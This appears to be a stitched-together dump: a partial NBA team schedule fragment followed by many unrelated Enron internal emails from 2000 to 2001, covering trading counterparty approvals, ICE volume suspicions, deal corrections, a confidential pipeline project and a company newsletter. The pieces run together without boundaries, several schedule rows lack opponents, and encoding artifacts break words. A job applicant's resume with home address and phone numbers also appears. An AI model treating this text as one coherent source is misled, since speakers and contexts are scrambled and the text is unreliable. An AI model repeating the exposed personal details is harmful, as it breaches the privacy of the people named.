			NBALP 
			Mon 25 
			at L.A. Lakers 
			2:30 
			
			NBA Radio  , NBC 
			Thu 28 
			at Utah 
			5:00 
			KGW 
			
			TNT 
			Fri 29 
			Vancouver 
			7:00 
			
			JANUARY 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			Mon 1 
			Charlotte 
			7:00 
			
			NBALP 
			Wed 3 
			Indiana 
			7:00 
			BlzrCab 
			
			NBALP 
			Fri 5 
			Milwaukee 
			7:00 
			
			NBALP 
			Mon 8 
			at Boston 
			4:00 
			KGW 
			
			NBALP 
			Wed 10 
			at Philadelphia 
			5:00 
			KGW 
			
			TNT 
			Thu 11 
			at Charlotte 
			4:30 
			BlzrCab 
			
			NBALP 
			Sat 13 
			at New York 
			2:30 
			
			NBALP  , NBA Radio  , NBC 
			Sun 14 
			at Detroit 
			4:00 
			KGW 
			
			NBALP 
			Tue 16 
			Cleveland 
			7:00 
			
			NBALP 
			Thu 18 
			Miami 
			5:00 
			BlzrCab 
			
			TNT 
			Sat 20 
			Sacramento 
			2:30 
			
			NBALP  , NBC 
			Mon 22 
			at Cleveland 
			4:30 
			BlzrCab 
			
			NBALP 
			Tue 23 
			at Chicago 
			5:30 
			BlzrCab 
			
			NBALP 
			Thu 25 
			at Indiana 
			5:00 
			KGW 
			
			TNT 
			Sat 27 
			at Minnesota 
			2:30 
			
			NBALP  , NBC 
			Tue 30 
			Chicago 
			7:00 
			BlzrCab 
			
			NBALP 
			
			FEBRUARY 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			Thu 1 
			Phoenix 
			7:00 
			BlzrCab 
			
			NBALP 
			Sat 3 
			at L.A. Clippers 
			7:30 
			BlzrCab 
			
			NBALP 
			Wed 7 
			Seattle 
			7:00 
			
			NBALP 
			Tue 13 
			Minnesota 
			7:00 
			BlzrCab 
			
			NBALP 
			Thu 15 
			7:00 
			
			NBALP 
			Sat 17 
			Boston 
			7:00 
			
			NBALP 
			Tue 20 
			Denver 
			7:00 
			
			NBALP 
			Thu 22 
			Utah 
			5:00 
			BlzrCab 
			
			TNT 
			Sat 24 
			7:30 
			KGW 
			
			NBALP 
			Mon 26 
			at Houston 
			5:30 
			KGW 
			
			NBALP 
			Tue 27 
			at San Antonio 
			5:30 
			KGW 
			
			NBALP 
			
			MARCH 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			Thu 1 
			L.A. Clippers 
			7:00 
			
			NBALP 
			Sat 3 
			Golden State 
			7:00 
			
			NBALP 
			Tue 6 
			Vancouver 
			7:00 
			
			Thu 8 
			San Antonio 
			5:00 
			BlzrCab 
			
			TNT 
			Fri 9 
			at Vancouver 
			7:00 
			BlzrCab 
			
			NBALP 
			Tue 13 
			at Seattle 
			7:00 
			KGW 
			
			NBALP 
			Wed 14 
			Phoenix 
			7:00 
			
			NBALP 
			Fri 16 
			Utah 
			7:00 
			KGW 
			
			NBALP 
			Mon 19 
			5:30 
			KGW 
			
			NBALP 
			Tue 20 
			at Dallas 
			5:00 
			KGW 
			
			NBALP 
			Thu 22 
			at Utah 
			6:00 
			BlzrCab 
			
			NBALP 
			Mon 26 
			7:00 
			
			NBALP 
			Wed 28 
			Dallas 
			7:00 
			
			NBALP 
			Fri 30 
			New York 
			7:00 
			BlzrCab 
			
			NBALP 
			
			APRIL 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			Sun 1 
			Minnesota 
			12:00 
			
			NBALP 
			Tue 3 
			at Denver 
			6:00 
			BlzrCab 
			
			NBALP 
			Wed 4 
			5:00 
			KGW 
			
			TNT 
			Fri 6 
			7:30 
			KGW 
			
			NBALP 
			Sun 8 
			12:00 
			
			Tue 10 
			7:00 
			
			NBALP 
			Thu 12 
			7:00 
			BlzrCab 
			
			NBALP 
			Fri 13 
			Houston 
			7:00 
			
			NBALP 
			Sun 15 
			2:30 
			
			Tue 17 
			7:00 
			
			NBALP 
			
			All Times Local.
			Local broadcast information will be posted when available.
			
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 Copyright , 2000 NBA Media Ventures, LLC, ESPN Internet Ventures and 
Starwave Corporation.  
All rights reserved. NBA.com Privacy Policy and Terms of Use are applicable 
to this site. 

As you may be aware, Enron Corp. is a member of the Official Unsecured Creditors' Committee appointed in the Pacific Gas and Electric Company bankruptcy case. Michael Tribolet with the Risk Assessment and Control Group is Enron's designated representative on the committee and he is being assisted by Lisa Mellencamp in the Enron North America Corp. legal group. Please be advised that they will be restricted from disclosing certain of the information that they receive.

Attached are Ethical Wall Procedures regarding confidential information that Enron may receive as a member of the committee. It is important that you read the procedures promptly, print the Employee Certification attached and sign and return the Employee Certification to the Compliance Department as directed.

Below are my comments to the Legal/Financial transactions only on the latest 
counterparty list:

1.  CMS Marketing, Services & Trading Co.- no Column L, cannot do basis 
transactions, that is floating, weather trades should all be approved, Column 
CF should be out, basis is floating, fixed price transactions only
2.  Elf Trading S.A.-should be approved for weather, why no weather?
3.  Lehman Brothers Commercial Corp.-weather should not be approved
4.  Power Authority of the State of New York-seems to be missing from list.  
What happened?
5.  Richardson Products II, Ltd.-please note, we just got in the signed ISDA 
Master Agreement this week
6.  UBS AG - approved for interest rate and currency only-should be 
restricted for all other products
7.  Abitibi Consolidated-please note, we got the signed ISDA Master Agreement 
in this week
8.  Cross Timbers Energy Services-missed no weather
9.  EIL Petroleum-missed no weather
10.  Trafigura AG - Column DZ, US weather CDD swap is ok, Column EB, HDD 
weather swap is ok
11.  Emerson Electric Co. - switching to approved for all products, it is not 
a utility.

Per my conversations with Bob Shults, I have been and am continuing to review 
our list of utilities with Sara Shackleton, outside counsel and the 
regulatory people.  I don't know when I will get you a revised list, but I 
hope to open a bunch of the investor owned utilities for general trading.

FYI
From: 	Puthigai, Savita  
Sent:	Thursday, June 07, 2001 4:24 PM
To:	Zipper, Andy
Subject:	FW: Dynegy-ICE VOL Jun6

I think this warrants some investigation

From: 	Moorer, Torrey  
Sent:	Thursday, June 07, 2001 9:58 AM
To:	Puthigai, Savita
Cc:	Denny, Jennifer

Hi Savita,

Jennifer and I have been looking through the ICE volumes on physical gas and it looks like nearly  all of their really huge Nat Gas volumes are being done on firm, physical, CUSTOM trades. It's probably a good bet that these "custom" products are some sort of structured or one-off deals that are not available to the general trading public on their website, but are instead closed, large-scale transactions done between the various ICE entities as a means of pumping up their volumes.

I've gone through the attached spreadsheet and highlighted several examples of these "custom" deals and have spoken with Bob Shults to see if he has any contacts at ICE that might be able to shed light on exactly what these things are. He hasn't called anyone yet, however, and I've asked him not to until you and Andy have had a chance to go over this. 

Could be something, could be nothing...

Torrey

From: 	Johnson, Adam  
Sent:	Thursday, June 07, 2001 8:38 AM
To:	Bibi, Philippe A.; Bridges, Michael; Denny, Jennifer; Hillis, Kimberly; Kitchen, Louise; Moorer, Torrey; Piper, Greg; Rosado, Jennifer; Schoppe, Tammie; Shults, Bob; Sweitzer, Tara; Whalley, Greg; Zipper, Andy
Subject:	Dynegy-ICE VOL Jun6

There are 2 sheets in the following attachment that contain Enron transactional data for the Intercontinental Exchange (ICE) and Dynegy Direct, labeled as follows:
"Enron Activity - Dynegy Direct"
"Enron Activity - ICE"

Note: Total activity for Dynegy Direct is not available, therefore Enron's Percentage can not be calculated.

Adam Johnson
EnronOnline
713-345-4877

From: 	Grigsby, Mike  
Sent:	Thursday, January 31, 2002 1:22 PM
To:	Gorny, Vladimir
Subject:	West

Southwest - PAllen

Jane Tholt - SJ cash
Matt Lenhart - SJ Basis
Keith Holst - Socal basis
Matt Smith - Socal cash
Don Black - ?

Northwest - MGrigsb - PG&E and Malin basis

Steve South - Opal cash
Frank Ermis - Western Rockies basis (Opal)
Jay Reitmeyer - Eastern Rockies basis (CIG, etc.)
Jason Wolfe - Malin and Citygate cash
Mog Heu - CIG cash

---------------------- Forwarded by Phillip M Love/HOU/ECT on 06/07/2000 
06:25 PM ---------------------------

Jim Little
05/12/2000 09:02 AM
To: Mary Theresa Franklin/HOU/ECT@ECT, Cathy De La Torre/HOU/ECT@ECT, Gary 
Nelson/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Carrie Hollomon/HOU/ECT@ECT, 
Kellie Bilski/HOU/ECT@ECT, Rhonda Robinson/HOU/ECT@ECT, Rita 
Wynne/HOU/ECT@ECT, Gregory A Mausser/HOU/ECT@ECT, Janie Aguayo/HOU/ECT@ECT, 
Bryan Hull/HOU/ECT@ECT, John Valdes/HOU/ECT@ECT, Melba A Bowen/HOU/ECT@ECT, 
Cathy Sprowls/HOU/ECT@ECT
cc:  
Subject: 9908-9905 OAs as of 4/2000 GL

	Market Participants:

	The OASIS Market Simulation is unique in the fact that it does not
have to be an interactive simulation as other simulations have been. Test
Scripts will NOT be required. To offer the OASIS users the maximum
assistance during the simulation the following details are outlined:

	1.	Site Url:

		http://oasisp.caiso.com

	2.	Conference Call Number:

		Phone # 1-877-670-4111
		Passcode 246870
		"Open Bridge"  Everyday 9-10.

	3.	Contacts:

		Karen Webber - Project Lead - 916-351-2223
		Darren Lamb - Project Technical Lead - 916-608-5867
		Jim Blatchford-Client Relations - 916-608-7051

	4.	Data validation dates.

		5 day delay. For example, data requested for April 28, 2001
on the new OASIS site will be actually production data from April 23, 2001
of current OASIS site.

		Historical date range of reports on the site will be Jan
1,2001 to Mar. 31, 2001. This is valid historical data and will reconcile
with production data.

	5.	Problem resolution process.

		Whom to contact ? -- Darren Lamb -916-608-5867

		How to contact - First preference is E-mail with specific
questions dlamb@caiso.com.

		How will response be communicated? Via e-mail and posted to
the FAQ.

6. Use of FAQ on the Oasis Prototype will be the primary communication tool.
Daily conference calls will address new FAQ's.

Client Relations Communication
CRCommunications@caiso.com

fyi  Marg
---------------------- Forwarded by Margaret Carson/Corp/Enron on 08/21/2000 
04:17 PM ---------------------------
From: Simon Shih on 08/21/2000 03:57 PM
To: Margaret Carson/Corp/Enron@ENRON
cc:  

Subject: 

503107 and 503112 have both been changed to reflect the correct time zones. I 
checked the strips after changing them to PPT and it looks like Deal Entry 
separated them correctly between PST and PDT. I'm working on the rest now.

Kate

Cara Semperger
03/23/2001 01:39 PM
cc:  

Subject: A whole bunch of deal errors that I want your opinion on .

I just ran a forward ob for April 2 to check for deals that are in PST when 
they should be PDT. 
 
Do you want to change all of these to PPT deals, or do you have time 
constraints today?  I need these changed today because we are already setting 
up for April.

SW Regions
347721
353734
353813
407053
352524
361210
352809
346646
346647
352628
360473
360475
360477
360483
361244
366541
366543
346822
348162

NW Regions
318870
349864

I am particularly worried about how these are corrected because they are long 
term transmission deals that cannot be autoscheduled.
503107
503112

From Rick:
1. $1mm approval authorization request needs to be completed (Lisa is 
tracking down signatures)
2. PRC is 12/1
3. Audit committee will view internal control recaps this year by business 
unit (Lisa is coordinating ETS data)
4. Tod has developed a proposed capital structure by business unit for 
prospective capital charging (separate document to Rod)
5. Mark Lindsey needs 2000 Goal status (separate documents to Rod)
6. Mark Lindsey needs 2001 revised plan for ETS (Tracy to provide?)

I would suggest calling Duke early to make sure that they are aware of this 
obligation.    They need to resupply for this hour, regardless of their cost.
If they pull up lame,  of  course,  we will resupply and bill them LD.
If you have major problems with this,  dont hesitate to call Donald or myself.

Thanks,
JMF
---------------------- Forwarded by John M Forney/HOU/ECT on 10/23/2000 05:23 

Mike Purcell
10/23/2000 03:23 PM
To: Portland Shift
cc:  
Subject: CHANGE IN SCHEDULE MID C

 Schedule cut to 0 for hr 24 on the 24th.  The new Tag number is 10604 , Duke 
will re-supply realtime.
Thanks 
Mike
If you have any questions call Donald 702-0415

Yes, I thought the job sounded great!  Do you know anything about how long
they pursue their own employees before they turn it over to the public?  I
will have to keep a close watch on this one.

Thank you.

From: <Tana.Jones@enron.com>
To: <pyoung@pdq.net>
Sent: Tuesday, May 16, 2000 11:23 AM
Subject: Re: Fw: Job ID #0000103876 SR ADMIN ASST/EVENT COORD

No wonder you couldn't find it!  Keep looking, 'cause I guess when you can
see it, the job will be open outside Enron.  Didn't you think the job
sounded perfect!

                    "Patti Young"
                    <pyoung@pdq.n        To:     "Tana Jones"
<tana.jones@enron.com>
                    et>                  cc:
                                         Subject:     Fw: Job ID #0000103876
SR ADMIN ASST/EVENT COORD
                    05/16/2000
                    10:50 AM

Tana, have a look at this.  I am glad she responded.

From: <Gail.Francis@enron.com>
Sent: Saturday, May 13, 2000 11:50 AM
Subject: Re: Job ID #0000103876 SR ADMIN ASST/EVENT COORD

Hi Patti !  Thank you for your interest in this position.  However, at this
time, this position is posted for internal candidates only.  If and when it
becomes open to external candidates,  I would be more than happy to
consider you.  However,  you will need to re-submit  a resume for
consideration.

Gail

"Patti Young" <pyoung@pdq.net> on 05/12/2000 11:12:38 AM

To:   <Gail.Francis@enron.com>
cc:
Subject:  Job ID #0000103876 SR ADMIN ASST/EVENT COORD

PATTI YOUNG

                                4433 Verone

                            Bellaire, TX 77401

                            Home: 713/665-6171

CAREER OBJECTIVE: A challenging position with a growing organization that
utilizes my organizational and result-oriented expertise.

EXPERIENCE:

07/86-Present Clive Runnells

dba Clive Runnells
Enterprises

Mr. Runnells is an independent investor/rancher whose business interests
are varied: cable television, ranching, cattle feedlots, and real estate.
He contributes extensively to various charitable organizations, political
groups, and individual politicians. In addition, he is a board member of
both local and national organizations. My responsibilities for the past 13
years have included all aspects of business, civic and personal agendas.

? Coordinate, meet and maintain relationships with businesses,
public charities, politicians, political groups, local and national
organizations

? Maintain correspondence regarding support of business relations,

? Prepare and maintain spreadsheets for annual charitable and
political donations and fundraising activities

? Assist in performing administrative duties for fundraising events,
maintaining up to date client data, interacting with all levels of
management, working within limited amounts of time

? Maintain correspondence for personal family business and
foundation affairs

? Manage other family members personal, business and foundation
affairs

? Schedule business and personal appointments and travel plans

? Resolve payment and billing disputes with vendors as well as
collections

? Handled processing and recording of purchases and sales of stock
and options

? Prepared leases for rental properties

? Maintained corporate records

? Prepared board meeting agendas and minutes

? Participated in screening and interviewing candidates for
receptionist position

EDUCATION: B. S., 1974, Baylor University

COMPUTER SKILLS: Microsoft Word; WordPerfect; Excel; Lotus 1-2-3

VOLUNTEER WORK: Houston Area Women's Center, Houston Livestock
Show & Rodeo,

Bellaire Garden Club

May 12, 2000

Ms. Gail Francis

Enron Corporation

1400 Smith

Houston, TX 77002

Dear Ms. Francis:

Thank you for accepting my resume via e-mail for Job ID #0000103876.

Even though I am not called an 'Event Coordinator', so many of the duties I
perform require the same qualifications that are essential to the position
for which I am applying. My ability to learn quickly, apply good
problem-solving skills and work with minimal supervision could definitely
benefit Enron Energy Services Account Management Department.

I welcome a confidential call from your company. My office number is
713/627-2390.

Thank you.

Very sincerely,

Patti Young

Thanks.  I'll call Tino back and tell him not to fret about what he heard 
from Maddox --I know Tino and Dennis knew about the Cobisa project and I 
think he believed Maddox was working on yet another project.  I can get Tino 
comfortable without breaching our confid. agreement with Maddox by just 
telling Tino that we understand there is just one project down South of our 
target location, not two.  Also, I'll let Tino know that early April looks 
like the best time to get together to talk numbers and we'll call to set it 
up when we are ready.  DF    

Lorraine Lindberg
03/16/2000 04:42 PM
To: Drew Fossum/ET&S/Enron@ENRON
cc: Steven Harris/ET&S/Enron@Enron, Kevin Hyatt/ET&S/Enron@Enron 

Subject: Re: Pueblo: CONFIDENTIAL  

Drew - Good timing.  Here's what I know:

1) Jack Maddox and I have spoken sporadically in the past about very nebulous 
projects in areas near TW.  (We even have a signed Confidentiality Agreement 
with him!)  After I read your memo, I called him to see what's going on.  

He is working on a 220 MW gas-fired plant near Belen, NM.  Houston-based 
Cobisa Corp. will ask the city of Belen to issue industrial revenue bonds to 
help it build this plant.  Power generated by the plant will be sold to 
customers through service agreements with electricity moving along existing 
PNM lines.  Plans call for construction to begin by Spring 2001 with 
operations to begin by 2003.  Kevin and I have a meeting scheduled with him 
next Friday, March 31 in Albuquereque.  We'll keep you posted.

2)  I received the economic analysis today which factors in some of Dennis 
Langley's wish list.  The "as good as it gets" rate, assuming the project is 
sized at 150,000 MMBtu and fully subscribed over the project life of 10 
years, is $.1631.  This does not include a) any ROW cost, b) a 50/50 split of 
any incremental revenue TW receives on its existing line as a result of 
additional capacity sold to serve new markets, or c) 25% of ownership in the 
assets and 25% of the cash flow stream after payout.  

 I need to continue working the economics with James Centilli.  In the 
meantime, our consultant, Mark Baldwin will hopefully provide us with 
critical market information near the end of March. This is also around the 
time when Tino should have his report on detailed the cost estimate of 
construction and environmental issues.  Maybe we should rally first part of 
April to see where we are.

Lorraine

	From:  Drew Fossum                           03/16/2000 01:55 PM
	
To: Steven Harris/ET&S/Enron@Enron, Kevin Hyatt/ET&S/Enron@Enron, Lorraine 
Lindberg/ET&S/Enron@ENRON
cc:  

Subject: Pueblo: CONFIDENTIAL

Here's the latest Tino-gram:
1.  Tino's environ. consultants have not discovered any stop signs.  

2.  The Isleta is interested in granting Dennis ROW/lease for the power plant 
as well as the pipeline.  The power plant could be located on Isleta land 
adjacent to the South boundary of the Scandia reservation.  Thus, the power 
plant could be connected to DOE's existing powerline infrastructure without 
ever leaving the Isleta and DOE land.  PNM would not be necessary to move 
power to DOE.  Unclear to me whether this approach would give the power plant 
optimal access to the power grid for sales of surplus power.  (maybe  this 
could be done through DOE to an interconnect with PNM on the Scandia 
reservation?)

3.  Dennis is using Jim Slattery, an ex law partner of mine in DC (and ex 
Dem. U.S. Congressman from Kansas), as his primary contact with  Bill 
Richardson at DOE.  My recollection is that Jim does have a good relationship 
with Richardson, so this seems very likely to be effective.  Tino reports 
that "DOE is OK with the deal" and the next step is negotiating the power 
contract itself.  Tino said that DOE is aware that the capital for the 
project will not come from the tribe so the tribe's interest will be fairly 
thin.   It is unclear exactly how much indian ownership Dennis and Slattery 
promised DOE.

4.  Tino has run into a power plant consultant named Jack Maddox who says 
he's working on a 230MW plant to be located west of Belen.  Tino thinks he's 
working for the Laguna tribe, but wanted us to find out who is planning a big 
power plant out there.  Is this ours?  PNM's?  El Paso?  

Finally, the next key step is obviously the economics.  Based on what Tino 
told me, I'm convinced that Dennis and Tino don't have a real good sense of 
how much $$$ might be in this deal.  They are groping a bit and our initial 
analysis of the numbers will likely carry a lot of weight.  How are those 
efforts coming?  

Thanks.  DF    
4.  

I sent this yesterday before 5 to find out what you were planning to do re 
Michael, the game, etc.

"Neil Mann" <nmann@erac.com> on 04/24/2001 08:19:11 AM
Please respond to <nmann@erac.com>
To: <Kay.Mann@enron.com>
cc:  

the plan for what? 

Sent: Monday, April 23, 2001 4:49 PM
To: nmann@erac.com
Subject: 

so what's the plan?

We will be offering Derivatives I training on-site.  If you are interested in 
attending, please let Amy FitzPatrick know no later than May 21st.

Derivatives I - Applied Energy Derivatives
Presented by Paradigm Strategy Group

Date:    Monday, June 4th and Tuesday, June 5th
Time:  8:00 am to 5:00 pm

This course is appropriate for all employees wishing to obtain a practical 
understanding of the basic natural gas and power derivative structures that 
are traded and marketed today.  An emphasis is placed on understanding how 
financial tools are added to physical structures to meet the risk management 
needs of clients.

Participants attending this seminar will be able to:

Formulate customer hedge strategies based on a solid understanding of risk; 
its impact on capital structures and approaches to its mitigation.
Develop and interpret forward prices in the context of arbitration 
disciplines, as well as understand the divergences from these disciplines 
that are characteristic of energy prices.
Identify marketing opportunities through an understanding of both the forward 
curve and the distortions created by the physical system of production and 
transportation.
Assemble the pricing of a transaction from a benchmark price curve.
Devise cost-reducing deal structures for gas storage from an understanding of 
price curves and their components.
Exploit differences in locational pricing with insights into the relationship 
between basis and transportation/transmission.
Structure a natural gas and power swap to hedge a company's risk position, 
explaining its risks and benefits as a risk management tool.
Price a swap from the price curve and customize the structure to meet various 
customer needs including earnings, cash flow and embedded financing. 
Apply basis swaps to either mitigate locational risk or to achieve a more 
favorable risk/reward position by altering the index location.
Attain a fluency in language concepts and hedging application of options.
Package strips of options to create caps, floors and zero-premium collars.
Create structures that provide energy users with sub-index pricing using 
embedded options.
Recognize options embedded in common supply contracts and their pricing 
implications, including swing, double-ups and index contracts with maximum 
prices, etc.

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 03/03/2000 
08:36 AM ---------------------------

"the shockwave.com team" <shockwave.com@shockwave.m0.net> on 03/03/2000 
12:29:38 AM
Please respond to shockwave.com@shockwave.m0.net
To: pallen@enron.com
cc:  
Subject: Just Released! Exclusive new animation from Stan Lee

Dear Phillip, 

7th Portal is a super hero action/adventure, featuring a global band 
of teenage game testers who get pulled into a parallel universe 
(through the 7th Portal) created through a warp in the Internet. The 
fate of the earth and the universe is in their hands as they fight 
Mongorr the Merciful -- the evil force in the universe. 

The legendary Stan Lee, creator of Spiderman and the Incredible Hulk, 
brings us "Let the Game Begin," episode #1 of 7th Portal -- a new 
series exclusively on shockwave.com. 

- the shockwave.com team 

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Sure you want to unsubscribe and stop receiving E-mail from us? All 
right... click here: 
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#17094
 
Please see the attached overlays for Aquila Energy Corporation and Beau 
Canada Exploration Ltd.  Please refer to the Mar 2001 tab for details.  

Short name changes will be coordinated w/ERMS IT today, Mar. 02.

I have drafted a detailed outline on our receivables due from the underscheduling penalty.  Because the penalty has not been implemented by the CAISO, our case needs to clearly lay out the CAISO has failed to implement FERC orders and what our receivable is even though we have no invoices to rely on.

The biggest "to dos" on this are: (1) update our receivable amount to the extent we can get more data from CAISO (we have asked for data informally from CAISO), (2) lodge discovery questions re: the computation of our receivable (I drafted questions in Section 5), and (3) review Enron's past positions on this matter.

I am assuming that sections 1. and 2. will go in our pleading and/or policy testimony and that sections 3. AND 4. will be beefed up and/or updated by Murray O'Neil (with help from Stokley and Blair).  

I am on vacation from 8/11//01 - 8/24/01 so please look at this ASAP so that I can answer any questions before I leave.

Hello,

Attached is the first market wrap up prepared by the fundamentals group for pulp industry.  This newsletter will be distributed approximately every friday afternoon.

comments/suggestions are welcome

thanks, 
Monika Causholli
EIM Fundamentals

John,

Included is an updated diagram of the proposed Chase prepay that includes 
Stoneville - please let me know if you have any questions.  With regard to 
Stoneville, Enron Hydrocarbons Marketing Corp. entered into an agreement in 
December 1994 whereby Enron would sell to Mahonia and buy-back from 
Stoneville (Stoneville Aegean Ltd) - a transaction very similar to this 
prepay.  Thanks.

Michael

fyi
---------------------- Forwarded by Robert H George/NA/Enron on 05/30/2001 
09:11 AM ---------------------------

From: Richard Lydecker/ENRON@enronXgate on 05/29/2001 06:29 PM
To: Robert H George/NA/Enron@Enron, Patrick Johnson/ENRON@enronXgate
cc: Mark Meier/ENRON@enronXgate 

Subject: RE: Corporate Officers / Confidentiality Agreement

Robert, this is something that we are going to need to credibly market this 
opportunity.  We are dealing with governmental bodies and officials and 
titles are important.  No capital is being committed and the LLC has no 
assets.  This is not part of our mainline business and imposing a "set slate" 
doesn't seem to me to make sense.  What approval is required?  Dick. 

From:  George, Robert  
Sent: Tuesday, May 29, 2001 6:09 PM
To: Johnson, Patrick
Cc: Meier, Mark; Lydecker Jr., Richard
Subject: Re: Corporate Officers / Confidentiality Agreement

Typically, our officers and directors is a set slate.  There have 
occasionally been exceptions to this, but we would need to get that exception 
approved before we could create the positions described.

From: Patrick Johnson/ENRON@enronXgate on 05/29/2001 04:45 PM
To: Robert H George/NA/Enron@Enron
cc: Mark Meier/ENRON@enronXgate, Richard Lydecker/ENRON@enronXgate 

Subject: Corporate Officers / Confidentiality Agreement

Robert, please set up the following Delaware single-member LLC, wholly owned 
by ENA:

EnronExec, LLC

Officers:
Richard A. Lydecker, President/CEO
Mark D. Meier, Senior Vice President of Business Development
Patrick L. Johnson, Senior Vice President of Operations

Please let me know if you need other information, such as SSNs or other 
identifying information.

Regarding the confidentiality agreement, can you please draft a template for 
a two-way agreement?  I would rather suggest a format with which we are 
comfortable from the start, rather than negotiate the counter-parties' 
template with them.  I believe we have a better chance of getting what we 
want that way.  Also, you may use the EnronExec name in the C.A.  Make sure 
that the C.A. includes language to protect against all information learned on 
Enron as well as specific language prohibiting the use of the Enron name in 
any of the counter-parties' correspondence, advertisements, etc. without the 
express written permission of Enron (we will yield to your judgement on 
language).

Please phone or e-mail if you have any questions.

-Pat

Hey folks.  Mr. Jackson makes some very good points, which I'd like to 
include.  However, before I work them in, wanns make sure that everyone 
agrees with his comments, since including some of his will require some 
modifications to the direction that the memo takes.  We could discuss in a 
brief conference call if folks wish.  Also, please review what I've done--not 
major edits, but edits (with some questions and additions) nonetheless.

Best,
Jeff

East Power Group
Enron Power Marketing, Inc. (EPMI) and Enron Wind Corporation (EWC) have=20
joined forces in a deal that combines the expertise of both Enron=20
subsidiaries.  EWC is developing the Indian Mesa Wind Farm in Pecos County,=
=20
TX.  EPMI has agreed to purchase 135 MW of bundled capacity, energy and=20
Renewable Energy Credits (=01&REC=01,s=018) from the Facility for a fixed-p=
rice over a=20
twenty-year term.

Energy Capital Resources (ECR)
ECR has been very active in the past few months.  On December 31st, the=20
Brazos facility was closed to fund volumetric production payments (VPPs) of=
f=20
balance sheet.  Kudos to Tim Proffit, Shirley Hudler, Teresa Bushman, Jesus=
=20
Melendrez, Chris Herron, Brian Otis, Mary Cook, Joan Quick and Nora Dobin f=
or=20
their efforts in closing the first $150 million of what is expected to be a=
=20
$250 million facility.  To date, ECR has placed a total of $82 million in=
=20
three separate VPP transactions into Brazos.  The present deal pipeline for=
=20
VPP's exceeds $500 million.  Producers are interested in the VPP's because=
=20
ECR utilizes the forward price curves to determine the advance amounts,=20
whereas the banks use their own projections of prices.  ECR hedges commodit=
y=20
price and interest rate risks at closing.  The VPP with Preston Exploration=
=20
also led to an outsourcing transaction with ENA's Upstream Products group.

Middle Marketing Business Highlights
A major airline has hedged 2,050,000 Barrels of Heating Oil through the=20
summer months.=20

If you would like to access Mark Smith's daily commentary on Natural Gas,=
=20
Crude and Refined Products, logon to the Gas Fundamentals site=20
http://gasfundy.corp.enron.com/gas/framework/default.asp under publications=
=20
then click on  "The Mark Report".  If you need assistance logging on, pleas=
e=20
contact Mark Smith, manager in the Middle Marketing group, at=20
Mark.Smith@enron.com.

UPCOMING EVENTS

The Middle Marketing desk is scheduling Energy Risk Management seminars in=
=20
Atlanta, Houston, New York and Chicago; firm dates will be announced soon. =
=20
If you have customers in the area interested in attending, please contact=
=20
Lucy Ortiz at 713.853.3238.

IN THE NEWS

What do Enron, Compaq, Continental Airlines and JPMorgan/Chase Bank know th=
at=20
the city of Houston doesn't? They know that in order to attract top talent,=
=20
they must stay competitive and current in the employment market. =20
Domestic-partner benefits are a reality for those companies looking up towa=
rd=20
the future and down at the bottom line.=20
Does anyone really think these companies would be offering these benefits i=
f=20
they weren't cost effective and in the companies' best interests?  -- Houst=
on=20
Chronicle (02/11/2001).

WELCOME
New Hires
EGM  - Kyle Berryman/Weather Trading, Carla Murphy/Operational Accounting
EIM   - Elizabeth Hutchinson/Fundamental Analysis
ENA  - Bryant Frihart/Origination Enovate, Lea Sooter/Public Relations

ENRONONLINE STATISTICS

Below are figures for EnronOnline as of February 9, 2001.

* Total Life to Date Transactions > 670,000
* Life to Date Notional Value of Transactions > $410 billion

NUGGETS & NOTES

=01&Who took the last Twix out of the candy jar?=018 - Andrea Reed, Vice Pr=
esident=20
/Fundamental Analysis-EIM

"I'm having an out of body experience..." - Scott Josey, Vice President &=
=20
Co-Manager/Energy Capital Resources-EA

NEWS FROM THE GLOBAL FLASH

UK Origination Team Closes First Deal Under NETA
Congratulations to the UK Origination team for closing their first=20
transaction under NETA and the first long-term customer contract to be sign=
ed=20
under NETA terms.  On 7th February, the team signed a 10-year electricity=
=20
supply contract with the Manx Electricity Authority, making Enron the sole=
=20
supplier of the Isle of Man's (IOM) electricity requirements over the next=
=20
decade.  In addition to providing power to the inhabitants of the IOM, Enro=
n=20
will contractually manage the IOM interconnector and all generation to the=
=20
IOM.
Enron Direct Expanding Customer Service Operations
Enron Direct continues to go from strength to strength, and as a result of=
=20
continued growth, is expanding its customer operations to Teesside, creatin=
g=20
46 new jobs.  Enron Direct will be setting up a new customer service center=
=20
at the ETOL administration building on the Wilton International site. The n=
ew=20
center is scheduled to open in April and will support Enron Direct's existi=
ng=20
call center and customer service operations in Oxford. The 46 new employees=
=20
will be recruited locally.
Enron Credit
Enron Credit announces the closure of its largest European Digital Bankrupt=
cy=20
Swap (DBS) transaction to date with a new counterparty. In addition to=20
detailed information on the DBS, registration on the web site=20
(https://www.enroncredit.com/members/join.asp) provides access to weekly=20
Bankruptcy Blasts covering current credit risk topics.=20

Register today on www.enroncredit.com and take a look at how some of your o=
wn=20
counterparties may be performing!

y=20
=20
and should not be disclosed.

Brenda 

please download this document and put in my directory in new file EEI 
Contract.  After pulling down email copies to Sandra Hrna and Robbi Rossi.
thanks
---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 04/26/2000 
12:45 PM ---------------------------

"Andy Katz" <AKatz@eei.org> on 04/10/2000 08:03:58 AM
Please respond to "Wholesale Electric Contract Standardization Group" 
<contract@ls.eei.org>
To: "Wholesale Electric Contract Standardization Group" <contract@ls.eei.org>
cc:  (bcc: Elizabeth Sager/HOU/ECT)
Subject: Master Contract Available in Word Format

The latest version of the EEI-NEM Master Contract now can be downloaded from 
EEI's website at  http://www.eei.org/issues/contract/.  We only ask that a 
short registration form be filled out first so that we can better serve the 
community interested in using the contract.  We are making the contract 
freely available, multiple copies may be made, our only restriction is that 
the contract not be resold.  We also request that attribution to EEI and NEM 
be given in all copies of the contract.

Our intention is to use the EEI website and listserver as tools to help 
promote dissemination and use of the contract.  For instance, we could make a 
listing of companies using the contract on the website.  Also, we are 
considering posting on a periodic basis responses to requests for 
clarification or interpretation of the contract terms that would be of 
interest to the user community.  Please let me know if there are other 
enhancements that you would find helpful

Regards,

Andrew S. Katz, Director Industry Legal Affairs
Edison Electric Institute
701 Pennsylvania Avenue, N.W.
Washington, D.C.  20004
Voice:  202-508-5616
Fax:     202-508-5673
e-mail:  akatz@eei.org

 - Andy Katz.vcf

I will also be formulating my "daily log" of conversations with CA PX as 
asked.

